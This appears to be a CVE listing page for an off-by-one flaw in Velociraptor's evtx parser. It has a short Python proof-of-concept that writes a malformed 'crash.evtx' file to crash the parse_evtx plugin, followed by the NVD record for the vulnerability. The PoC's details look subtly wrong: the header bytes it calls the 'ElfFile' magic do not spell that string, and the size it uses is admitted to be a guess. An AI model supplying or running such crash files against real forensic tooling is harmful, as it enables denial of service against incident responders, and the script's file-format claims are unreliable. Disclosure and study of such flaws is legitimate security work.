CVE-2026-7572

import struct # Conceptual PoC for CVE-2026-7572 # Generates a malformed .evtx file structure to trigger off-by-one error # in Velociraptor's ConsumeUnit16Array/ConsumeUnit64Array functions. def generate_malformed_evtx(filename): with open(filename, 'wb') as f: # EVTX Header (simplified/corrupted to trigger parsing issues) # Usually starts with 'ElfFile' magic (0x656c6666) header = struct.pack('<I', 0x656c6666) # Set a size that passes checks but fails at the last byte (Off-by-one trigger) # This specific value depends on the internal logic of ConsumeUnitXArray malformed_size = 0x1000 payload = header + struct.pack('<I', malformed_size) + b'A' * 4096 f.write(payload) print(f"[+] Malformed evtx file generated: {filename}") print("[+] Usage: Load this file in Velociraptor using parse_evtx plugin.") if __name__ == "__main__": generate_malformed_evtx("crash.evtx")

{"cve": {"id": "CVE-2026-7572", "sourceIdentifier": "[email protected]", "published": "2026-05-06T03:15:58.470", "lastModified": "2026-05-07T14:56:04.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An off-by-one error (CWE-193) in the ConsumeUnit16Array and ConsumeUnit64Array functions in Velocidex Velociraptor before version 0.76.5 on Windows and Linux allows a local attacker to cause a Denial of Service (DoS) via a process crash by providing a specially crafted .evtx file to the parse_evtx VQL plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-193"}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-7572/", "source": "[email protected]"}]}}